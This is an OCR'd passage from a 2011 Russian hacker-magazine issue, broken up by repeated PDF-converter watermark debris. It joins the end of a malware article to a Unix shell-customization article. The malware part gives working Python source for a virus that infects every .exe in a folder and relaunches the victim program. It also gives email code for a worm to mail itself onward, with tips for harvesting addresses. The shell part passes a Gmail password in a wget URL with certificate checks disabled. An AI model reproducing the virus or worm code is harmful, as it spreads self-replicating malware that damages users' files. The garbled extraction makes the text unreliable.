книги хакеры / журнал хакер / 146_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
и служебными структурами. Код «хорошей» программы при этом будет смещен на длину вируса. То есть, сначала будет выполняться вирус, который в конце своего черного дела запустит оригинальную программу, чтобы лишний раз не вызывать подозрения у пользователя. По традиции взглянем на код:
Код HLLP-вируса
import sys import os import shutil
virPath = os.path.split(sys.argv[0]); names = os.listdir('.');
fvir = open(sys.argv[0], 'rb'); virData = fvir.read(19456);
for name in names:
namePair = os.path.splitext(name); if namePair[1] == '.exe' and \
name != virPath[1]: os.rename(name, name + 'tmp'); fprog = open(name + 'tmp', 'rb'); progData = fprog.read();
fnew = open(name, ‘wb’); fnew.write(virData + progData);
fnew.close();
fprog.close();
os.remove(name + 'tmp');
origProgData = fvir.read();
origProg = 'original_' + virPath[1]; forig = open(origProg, 'wb'); forig.write(origProgData);
fvir.close();
forig.close();
os.execl(origProg, ' ');
Первым делом мы подключаем три модуля: sys, os, shutil. Модуль sys дает доступ к переменным, которые тесно связаны с интерпретатором или с выполняемым скриптом. Так, например, мы получаем имя выполняемого скрипта с помощью команды sys.argv[0]. Модуль os дает возможность выполнения команд, зависящих от операционной системы. Например, получить список файлов в директории, произвести над ними некоторые операции и так далее. Наконец, модуль shutil дает возможность копировать и перемещать файл на жестком диске.
После импорта нужных нам модулей мы узнаем имя файла, в котором содержится исходный код вируса. Затем с помощью команды os.listdir('.') получаем список файлов в текущей директории и проверяем, является ли очередной объект в списке экзешником. Если проверка это подтверждает, то инфицируем найденный файл, просто заменив его собой.
Если ты читал внимательно, то заметил, что в условии оператора if присутствует еще вот такая инструкция: name != virPath[1], а перед этим выполняется команда
В емаксе тоже можно кодить на питоне
virPath = os.path.split(sys.argv[0]). Для чего это нужно,
я расскажу в конце статьи, а пока двинемся дальше. Перед оператором if мы считываем в память собственное содержимое. Делается это с помощью команды fvir. read(19456). Число 19456 — это длина вируса (мы ведь должны учесть, что в файле находится не только вирус, но и жертва). Почему эта длина именно такая, я скажу чуть позже. Следующим шагом находим в текущей папке все exe’шники и заражаем их. Для этого, заранее переименовав невинную программку, мы читаем ее код в буфер, затем создаем новый файл с нужным нам именем и пишем туда сначала тело вируса, а после — считанный только что буфер. Далее сохраняем все это
Литературы по питону предостаточно. В том числе и на английском
WARNING |
warning
Написание вирусов — уголовно наказуемое дело. Никогда не занимайся такими вещами! Информация, представленная в
статье, опубликована исключительно в образовательных целях.
XÀÊÅÐ 03 /146/ 2011 |
079 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
|
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|||
w Click |
to |
BUY |
|
|
|
|
|
MALWARE |
|||
|
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
000
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Питон штука кроссплатформенная, можно и под Linux что-нибудь наваять
хозяйство и удаляем оригинальный файл жертвы с помощью команды os.remove(name+'tmp').
Теперь наступает самый ответственный момент — нам надо запустить оригинальный код, который мы предварительно засунули внутрь зловреда. Для этого просто читаем оставшиеся данные из образа вируса (мы ведь помним, что уже читали 19456 байт и указатель сместился в файле на эту позицию?), а затем сохраняем полученные данные во временный exe, который потом запускаем. Таким образом вирус корректно отработал, и при этом запустил нужную для пребывающего в счастливом неведении пользователя программу. Конечно, наш зловред получился вовсе не без недостатков. Например, он не проверяет, инфицирован ли уже экзешник или нет, да и вбивать в код размер конечного файла вируса
— не совсем удачное решение. Кроме того, у нашего питомца будут возникать проблемы при первом запуске, когда в образе находится только тело виря, а тело жертвы отсутствует. Но все эти проблемы при определенном старании вполне решаемы. Главное для нас — продемонстрировать принцип работы.
Сетевой червь
Мы сделали классического инфектора, который распространяется путем заражения близлежащих программ. Но ведь есть еще и сетевые черви, которые используют интернет для порабощения мира. Зловреды такого типа не интересуются файловой системой компьютера, им нужен доступ в сеть.
Для распространения черви пользуются дырами в операционной системе и прикладных программах, рассылают себя по электронной почте и так далее. Мы попробуем сделать вирус, который будет использовать именно e-mail’ы.
Для начала давай посмотрим, как с помощью Python отправить письмо. Небольшой примерчик, от которого мы будем отталкиваться в дальнейшем:
Отправка письма import smtplib
from email.mime.text import MIMEText
msg = MIMEText('Message text')
#me == email отправителя
#you == email получателя msg['Subject'] = 'Test message' msg['From'] = me
msg['To'] = you
s = smtplib.SMTP('')
s.sendmail(me, [you], msg.as_string()) s.quit()
Здесь мы используем библиотеку smtplib и входящий в нее пакет MIMEText. Код настолько прост, что не требует особых разъяснений. Единственное, на что стоит обратить внимание, так это на авторизацию на SMTP-сервере. Если для отправки сообщения требуется ввести логин и пароль, то придется вызвать еще одну дополнительную функцию. Так как наш вирус является файлом, нам надо приаттачить его к письму. Для этого придется импортировать еще пару дополнительных библиотек и написать немного кода. Будет это выглядеть примерно так:
Отправка письма с вложением
import smtplib
import mimetypes
from email import encoders
from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase
080 |
XÀÊÅÐ 03 /146/ 2011 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Работа над вирусом в самом разгаре
outer = MIMEMultipart()
#me == email отправителя
#you == email получателя outer['Subject'] = ‘Test message’ outer['From'] = me
outer['To'] = you
ctype, encoding = mimetypes.guess_type(path_to_file) if ctype is None or encoding is not None:
ctype = 'application/octet-stream' maintype, subtype = ctype.split(‘/’, 1)
fp = open(path_to_file, ‘rb’)
msg = MIMEBase(maintype, subtype) msg.set_payload(fp.read()) fp.close()
encoders.encode_base64(msg)
msg.add_header('Content-Disposition', 'attachment', filename=file_name)
outer.attach(msg)
s = smtplib.SMTP('')
s.sendmail(me, [you], outer.as_string()) s.quit()
В импорте у нас появилась библиотека mimetypes, а также модули encoders, MIMEMultipart и MIMEBase. MIMEMultipart
позволяет формировать емайл-сообщение из различных видов данных (текст, картинки и прочее). MIMEBase работает с файлами произвольного типа — например, exe. В качестве основы сообщения мы берем переменную типа MIMEMultipart и добавляем к ней объект MIMEBase, в который предварительно считали и декодировали в base64 содержимое нужного нам файла.
Теперь, когда вирус может сам себя отправлять в электронном
XÀÊÅÐ 03 /146/ 2011
сообщении, дело осталось за малым — найти, кому отправить e-mail. Тут полет фантазии вирмейкера на питоне ничем не ограничен. Можно, например, поискать адреса на жестком диске, просканировав все имеющиеся на нем файлы. А можно воспользоваться адресной книгой Outlook. Для последнего тебе понадобится пакет Python Win32 Extensions.
Несколько замечаний
Самые сообразительные могут задать один маленький вопрос: «Питон — это скрипты, а exe — бинари. Как скриптом можно заразить исполняемый файл Windows?». Ответ на него очень прост — питоновские скрипты можно конвертировать в exeфайлы. Да-да, и делается это очень легко. Тут я описывать процесс не буду (ты ведь не хочешь, чтобы младшая сестренка, взяв в руки ][, получила бы исчерпывающее руководство по уничтожению твоего же компа :)), так что за подробностями — к Гуглу.
В связи с тем, что наши вирусы будут выполняться не как скрипты, а как полноценные win-приложения, в коде встретилась пара непонятных вещей, о которых я обещал рассказать позже. Первая из них — это вызов os.path.split(). Дело в том, что если мы запускаем питон-скрипт, то команда sys.argv[0] возвращает имя этого скрипта (например, virus.py). В случае же с exeфайлом результат будет другой — полный путь и имя экзешника (C:\Windows\virus.exe). А так как для дальнейших злодеяний нам нужно только имя файла, то мы вызываем os.path.split().
Еще одна загадка — это число 19456. Но тут уже легко можно догадаться, что это размер exe, полученного после конвертации скрипта. Ровно столько у меня весил зловред после своего перерождения в бинарный формат.
Заключение
Конечно, написание зловредов на Python — то еще извращение, но при большом желании такие поделки можно отшлифовать до нужной степени работоспособности, поставить на полку и всем показывать. К тому же вирус будет кроссплатформенным, а этим не каждый крутой вирмейкер может похвастаться :). z
081
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
|
||||
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
|
|
|
||||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
|
|
|
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
||||
P |
|
|
|
|
|
NOW! |
|
o |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
w Click |
to |
BUY |
|
|
|
|
|
|
|
|
|
UNIXOID |
|
|||||
|
|
|
|
|
|
|
|
m |
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
Сергей Яремчук grinder@tux.in.ua |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w. |
|
|
|
|
|
|
|
|
|
o |
|
|
|
Евгений Зобнин zobnin@gmail.com |
|||
|
|
|
|
|
|
|
|
.c |
|
|
|
|||||||
|
p |
d |
|
|
|
|
|
e |
|
|
|
|
|
|
||||
|
|
|
|
|
|
g |
|
|
|
|
|
|
|
Юрий Видинеев adeptg@gmail.com |
||||
|
|
|
f-xchan |
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Поднятаяцелина
Осваиваемиобустраиваемконсоль
Настроенный по дефолту терминал — унылое зрелище, отпугивающее новичков и наводящее тоску на гуру. Многое из того, что способен дать командный интерпретатор пользователю, оказывается скрыто за семью замками, а то, что остается доступным — просто неудобно. Перед тем, как консоль станет действительно сподручным инструментом, придется изрядно попотеть.
Полезнаяинфа |
ные. Так, например, в дистрибутиве Ubuntu |
Нетруднодогадаться, чтоюзерздесьпояв- |
вприглашении |
содержимое переменной PS1 выглядит так: |
ляетсязасчетуправляющегосимвола'\u', |
Приглашение командного интерпретатора |
|
имяхоста— засчет'\h', атекущийкаталог |
bash формируется на основе содержимого |
'${debian_chroot:+($debian_ |
— это'\w'. Неуклюжаязапись, содержащая |
переменной окружения PS1. Если верить |
chroot)}\u@\h:\w\$ ' |
всебесловаdebian_chroot, этовсеголишь |
man-страницам, эта переменная может |
|
индикатортого, находитсялипользовательв |
|
||
содержать любые строки, а также довольно |
Апривыводенаэкранпревращаетсявовсем |
chroot-окружении. Такоелаконичноепригла- |
большой набор специальных управляющих |
знакомуюстрокувида: |
шение, конечно, удобно, носодержитдалеко |
символов, которые при выводе приглаше- |
|
невсюинформацию, которуюbash способен |
ния будут превращены в актуальные дан- |
юзер@имя_хоста:текущий_каталог$ |
отобразить. Вегоарсеналеестькакминимум |
|
|
|
082 |
XÀÊÅÐ 03 /146/ 2011 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Команда alias, вызванная без аргументов, выдает перечень используемых псевдонимов
двадесяткаразличныхуправляющихпоследовательностей, окоторыхмногиепользователидаженеподозревают. Вотсписокнаиболееинтересныхизних:
\d — текущая дата
\j — количество фоновых заданий \A — текущее время
\! — номер команды в истории
Крометого, вPS1 вполнеможноиспользоватьтекущие переменныеокружения, аеслиучитывать, чтоперед каждымвыводомнаэкранPS1 перечитывается, тотуда можнозасунутьтакиевкусности, как, например, статус последнейвыполненнойкоманды(переменная$?), чтобызнать, былолиееисполнениеуспешным. Управляющийсимвол'\n' такжедопустимвPS1, поэтому приглашениеквводуможносделатьмногострочным, а заодновизуальноотделитьегоотостальноготекста(с помощьюначальнойпустойстроки):
PS1='\n\w\n\u@\h:$?\$ '
Ноиэтоещеневсе. Примерсиндикаторомchrootокруженияпоказывает, чтовприглашенииможно использоватьвыводлюбыхстороннихприложений, а этооткрываетпростобезграничныевозможностипо егокастомизации. Например, следующимобразомв приглашениеможнодобавитьданныеотекущейпогоде, количественепрочитанныхписемвgmail иуровне сигналаWi-Fi:
$ vi ~/.bashrc
# Google-погода weather(){
# Ãäå ìû?
local city="Moscow"
curl -s "http://www.google.com/ig/ api?weather=$city" | sed 's|.*<temp_c data="\ ([^"]*\)"/>.*|\1|'
}
# Google-почта
Редактируем конфиг bash
unread_mail(){
# Имя пользователя и пароль (без @gmail.com) local login="логин"
local password="пароль"
wget --secure-protocol=TLSv1 --timeout=3 -t 1 -q -O — https://${login}:${password}@ mail.google.com/mail/feed/atom --no- check-certificate | grep fullcount | sed "s/<fullcount>\(.*\)<\/fullcount>/\1/"
}
# Сигнал Wi-Fi wifi(){
/sbin/iwconfig wlan0 | grep Quality | cut -d = -f2 | awk '{print $1}'
}
PS1='\n`weather`:`unread_mail`:`wifi`:\w\n\ u@\h:$?\$ '
Всеэтонужнопоместитьвконец~/.bashrc ивыставитьна файлправа600, чтобыниктонесмогподсмотретьпароли. Результатбудетпримернотаким:
-7:32:70/70:/usr/local j1m@1313:0$
INFO |
info
•Во FreeBSD
использовать rsync для получения прогресса копирования файлов нет смысла. Можно просто нажать
<Ctrl+T> во время работы команды cp, и она сама выдаст прогресс операции на экран.
•Чтобы сделать man-страницы цветными, установи пакет most с помощью пакетного менеджера и добавь строку «export MANPAGER="/usr/ bin/most -s» в файл ~/.bashrc.
•Команда «stty
-echo» отключает вывод в терминал того, что набирается на клавиатуре. Подобное поведение можно наблюдать при вводе пароля при логине в терминале.
• Убрать курсор из терминала и
выключить гашение экрана можно с помощью команд
«setterm -cursor off» и «setterm -blank 0».
Раскрашиваем консоль
Приработевконсолипользовательчастополучаетбольшоеколичествоникакнеотформатированнойинформации. Поройвыбратьвпотокеданныхдействительно необходимоедовольносложно. Благодаряспециальным непечатаемымescape-последовательностяммыможем изменитьцветифонвыводимыхсимволов, чтобыоблегчитьвосприятиеданных.
Всеescape-последовательностизаключаютсяв\[\033[ и\], апослекодацветадолжнаещестоятьбукваm. Все цветарасписанывсправочнойстранице. Например, черномусоответствует0;30, зеленому— 0;32, красному— 0;31, желтому— 1;33, белому— 1;37 итакдалее. Чтобыв строкеприглашениявыводилисьимясистемы(символh) илогинпользователя(u), подсвеченныекраснымцветом, атекущийкаталог— желтым(w), вконфиге~/.bashrc заменяемзначениепеременнойPS1 наследующее:
PS1="\[\033[0;31m\]\u@\h:\[\033[1;33m\](\w)\
HTTP://WWW
links
•Сайт разработчика fortune-mod-ru: jack.kiev.ua/fortune- mod-ru
•Сайт проекта bashDirB (Directory Bookmarks for BASH): dirb.info/bashDirB.
XÀÊÅÐ 03 /146/ 2011 |
083 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
UNIXOID
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Корректировка ошибок в bash
[\033[0m\]\[\033[0m\]"
Принеобходимостичерезточкусзапятойможноуказатьцветфона. Дляэтойцелииспользуютсячислаот40 (черный) до47 (белый).
PS1="[\033[32;40m\w\[\033[0m\]>"
Всеэтотакжеможноиспользоватьвскриптах, хотя, чтобынепутаться, вэтомслучаелучшезадействоватьпеременные, которыепотоми вызыватьвнужномместе. Например:
local GRAY="\[\033[1;30m\]" local NO_COLOUR="\[\033[0m\]"
Незабываемотом, чтонекоторыекомандыподдерживаютцветной вывод. Прощеэторешитьприпомощиалиасов:
alias ls='ls --color=auto' alias grep='grep --color=auto'
Итакдалее.
Занастройкицветовкаталоговифайловсразнымрасширениемотвечаетутилитаdircolors, устанавливающаяпеременнуюLC_COLORS. Чтобыполучитьвсезначения, простовводим:
$ dircolors --print-database
Использовавполученныйрезультаткакшаблонисохранивегов/ etc/DIR_COLORS (либовперсональномконфиге~/.dir_colors), можно создатьсвоюраскраску.
Программистамбудеточеньполезенcout (code.google.com/p/cout) — небольшойскриптнаPython, подсвечивающийвыводmake, gcc, svn и diff. Скриптнетребуетустановки, простоскачиваемираспаковываем архив, азатемсоздаемпсевдоним:
$ alias makec='cout data/make-gcc.cfg'
Теперьпроверяемработоспособность, используязаранееподготов-
ленныйMakefile:
$ makec -f Makefile
Автодополнениеbash
Однаизсамыхудобныхфункций, имеющихсявbash — автодополнениекомандпоклавише<Tab>. Кэтомубыстропривыкаешь, икажется, чтоулучшитьуженичегонельзя.
Однаковразныхдистрибутивахавтодополнениеработаетпо-разному. Например, всовременныхLinux-дистрибутивах, ориентированныхна обычногопользователя, bash нетолькодополняетсамукоманду, нои предлагаетдополнительныепараметры. ОднаковGentoo ипроизводных(вродеCalculate Linux) такогонет. Здесьприходитсяпомнитьвсе параметрыназубок. Кактакоеможетбыть? Некоторыеразработчики
дистрибутивовиспользуютпатченыеверсииbash?
Насамомделе, возможностьавтодополнениявbash — расширяемая функция. Занеобходимуюфункциональностьотвечаетвстроенная командаcompgen, генерирующаясоответствующиесписки. Все настройкипроизводятсявфайле/etc/bash_completion (илипользовательском~/.bash_completion), хотявнекоторыхдистрибутивахможно найтицелыйкаталог/etc/bash_completion.d, вкоторомобычнособраны настройки, специфичныедляотдельныхпрограмм.
Всамомпростомслучаефайлсодержитпрограммуиуказаниядляbash подополнениюименфайлов.
Например, чтобыMPlayer предлагалпользователювкачествеавтодополнениятолькофайлысрасширениемavi иmpg, пишемтакоеправило:
complete -f -X ‘!*.@(avi|mpg|AVI|MPG/so)’ mplayer
Ноэтосамыйпростойвариант, ведьMPlayer имеетбольшоеколичество дополнительныхпараметров, азначит, емупотребуетсяописатьшрифты, звуковыефайлы, субтитрыитакдалее. Всеэтолегкорешаетсяпри помощиоператораcase. Поддерживаютсярегулярныевыражения, что немногоупрощаетсозданиеправил.
Обычномайнтейнерыконкретногопакетасамисоставляютсписки параметровпрограммыдляbash_completion. Никакихчудесздесьнет. Например, дляtar создаемтакоеправило:
COMPREPLY=( $( compgen -W 'c t x u r d A' -- "$cur" ) )
Каквидишь, мыпростоперечислиливсепараметры, итеперьвпроцессевводаbash самвыдастэтотсписок.
Командаcompgen имеетрядпараметров. Так'-b' позволяетполучить списоквстроенныхкомандоболочки, '-c' — именакоманд, '-v' — имена переменныхитакдалее. Всеподробностиможнонайтивman-странице bash, всекцияхcomplete иcompgen.
Продвинутыенастройки
Bash — довольноразвитыйкомандныйинтерпретатор, поддерживающийкучуразныхнастроек. Причемизэтихнастроекможнополучить
Перенос директории dotfiles
Переносдиректорииdotfiles содногокомпа(IP-адрес192.168.1.1, порт10000) надругойприпомощиnetcat иpv:
host1$ tar -cf — dotfiles | pv | nc -l -p 10000 -q 5
host2$ nc 192.168.1.1 10000 | pv | tar -xf -
Вслучае, еслиhost1 работаетподуправлениемOpenBSD, командадолжнавыглядетьтак:
obsdhost1$ tar -cf — dotfiles | pv | nc -l 10000
084 |
XÀÊÅÐ 03 /146/ 2011 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
В юзер-ориентированных дистрибутивах разработчики позаботились об автодополнении команд
гораздобольшепрофита, чемизнастроекповедениятерминала, выполненныхспомощьюутилитsetterm иstty. Списоквсехвозможных опцийможнопосмотретькомандой«shopt -p» (shopt — сокращениеот Shell Options). Приведемсамыеинтересныеизних:
•autocd — еслиэтаопциявключена, томожнопростонаписатьпутьк каталогу(опустивкомандуcd), чтобывнегопереместиться;
•cdspell — bash будетпытатьсяисправлятьпростыеопечатки(напри-
мер, /ect/init.d вместо/etc/init.d) варгументахкомандыcd;;
•checkjobs — недаетвыйтиизконсоли, покавнейестьвыполняющиесязадания;
•cmdhist — объединениемногострочныхкомандводнустрокутак, чтобытебебылопрощеискатьихвистории;
•dirspell — исправлениенебольшихошибоквнаписанииимени директорииприавтодополнении;
•globstar — позволитиспользоватьконструкциювида**, обозначающую«всефайлы, начинаястекущегокаталога, рекурсивно»;
•Оченьудобныйновыйwildchar — например, даннаяконструкция отобразитвсеmp3 втекущемивложенныхкаталогах:
